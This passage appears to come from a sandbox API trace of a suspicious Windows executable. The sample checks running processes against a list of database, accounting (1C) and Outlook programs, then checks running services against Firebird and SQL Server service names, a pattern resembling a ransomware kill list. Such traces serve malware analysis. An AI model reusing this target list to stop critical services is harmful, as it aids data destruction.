pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.452] lstrlenW (lpString="csrss.exe") returned 9 [0135.452] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0135.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0135.452] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0135.452] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0135.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0135.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0135.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0135.452] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.452] lstrlenW (lpString="winlogon.exe") returned 12 [0135.452] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0135.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0135.453] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0135.453] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0135.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0135.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0135.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0135.453] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.453] lstrlenW (lpString="services.exe") returned 12 [0135.453] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0135.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0135.453] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.454] lstrlenW (lpString="lsass.exe") returned 9 [0135.454] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0135.454] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0135.454] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0135.454] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0135.454] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0135.454] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0135.454] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0135.454] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0135.454] lstrlenW (lpString="lsm.exe") returned 7 [0135.454] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0135.454] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0135.454] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0135.454] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0135.454] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0135.454] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0135.454] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0135.454] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.455] lstrlenW (lpString="svchost.exe") returned 11 [0135.455] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.455] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.455] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.456] lstrlenW (lpString="svchost.exe") returned 11 [0135.456] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.456] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.456] lstrlenW (lpString="svchost.exe") returned 11 [0135.456] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.456] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.457] lstrlenW (lpString="svchost.exe") returned 11 [0135.457] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.457] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.457] lstrlenW (lpString="svchost.exe") returned 11 [0135.457] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.457] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.457] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.458] lstrlenW (lpString="audiodg.exe") returned 11 [0135.458] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.458] lstrlenW (lpString="svchost.exe") returned 11 [0135.458] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0135.458] lstrlenW (lpString="userinit.exe") returned 12 [0135.458] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.459] lstrlenW (lpString="explorer.exe") returned 12 [0135.459] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.459] lstrlenW (lpString="dwm.exe") returned 7 [0135.459] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.459] lstrlenW (lpString="svchost.exe") returned 11 [0135.459] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0135.460] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0135.460] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.460] lstrlenW (lpString="spoolsv.exe") returned 11 [0135.460] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.460] lstrlenW (lpString="dllhost.exe") returned 11 [0135.460] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0135.461] lstrlenW (lpString="reader_sl.exe") returned 13 [0135.461] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.461] lstrlenW (lpString="svchost.exe") returned 11 [0135.461] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0135.461] lstrlenW (lpString="taskhost.exe") returned 12 [0135.461] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0135.462] CloseHandle (hObject=0x1ec) returned 1 [0135.462] Sleep (dwMilliseconds=0x1f4) [0136.131] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293e20 [0136.140] EnumServicesStatusExW (in: hSCManager=0x4293e20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0136.140] GetLastError () returned 0xea [0136.140] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428bbd0 [0136.141] EnumServicesStatusExW (in: hSCManager=0x4293e20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0136.141] CloseServiceHandle (hSCObject=0x4293e20) returned 1 [0136.141] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0136.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.141] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0136.141] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0136.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0136.141] lstrlenW (lpString="AudioSrv") returned 8 [0136.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0136.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0136.141] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0136.141] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0136.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0136.141] lstrlenW (lpString="BFE") returned 3 [0136.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0136.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0136.141] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0136.141] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0136.142] lstrlenW (lpString="CryptSvc") returned 8 [0136.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0136.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0136.142] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0136.142] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0136.142] lstrlenW (lpString="CscService") returned 10 [0136.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0136.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0136.142] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0136.142] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0136.142] lstrlenW (lpString="DcomLaunch") returned 10 [0136.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0136.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0136.142] lstrlenW (lpString="Dhcp") returned 4 [0136.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0136.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0136.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0136.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0136.142] lstrlenW (lpString="Dnscache") returned 8 [0136.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0136.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0136.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0136.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0136.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0136.143] lstrlenW (lpString="DPS") returned 3 [0136.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0136.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0136.143] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0136.143] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0136.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0136.143] lstrlenW (lpString="eventlog") returned 8 [0136.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0136.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0136.143] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0136.143] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0136.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0136.143] lstrlenW (lpString="EventSystem") returned 11 [0136.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0136.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0136.143] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0136.143] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0136.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0136.143] lstrlenW (lpString="gpsvc") returned 5 [0136.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0136.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0136.143] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0136.143] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0136.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0136.143] lstrlenW (lpString="LanmanWorkstation") returned 17 [0136.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0136.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0136.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0136.144] lstrlenW (lpString="lmhosts") returned 7 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0136.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0136.144] lstrlenW (lpString="MMCSS") returned 5 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0136.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0136.144] lstrlenW (lpString="MpsSvc") returned 6 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0136.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0136.144] lstrlenW (lpString="NlaSvc") returned 6 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0136.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0136.144] lstrlenW (lpString="nsi") returned 3 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0136.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0136.144] lstrlenW (lpString="PcaSvc") returned 6 [0136.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0136.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0136.144] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0136.144] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0136.145] lstrlenW (lpString="PlugPlay") returned 8 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0136.145] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0136.145] lstrlenW (lpString="Power") returned 5 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0136.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0136.145] lstrlenW (lpString="ProfSvc") returned 7 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0136.145] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0136.145] lstrlenW (lpString="RpcEptMapper") returned 12 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0136.145] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0136.145] lstrlenW (lpString="RpcSs") returned 5 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0136.145] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0136.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0136.145] lstrlenW (lpString="SamSs") returned 5 [0136.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0136.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0136.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0136.146] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0136.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0136.146] lstrlenW 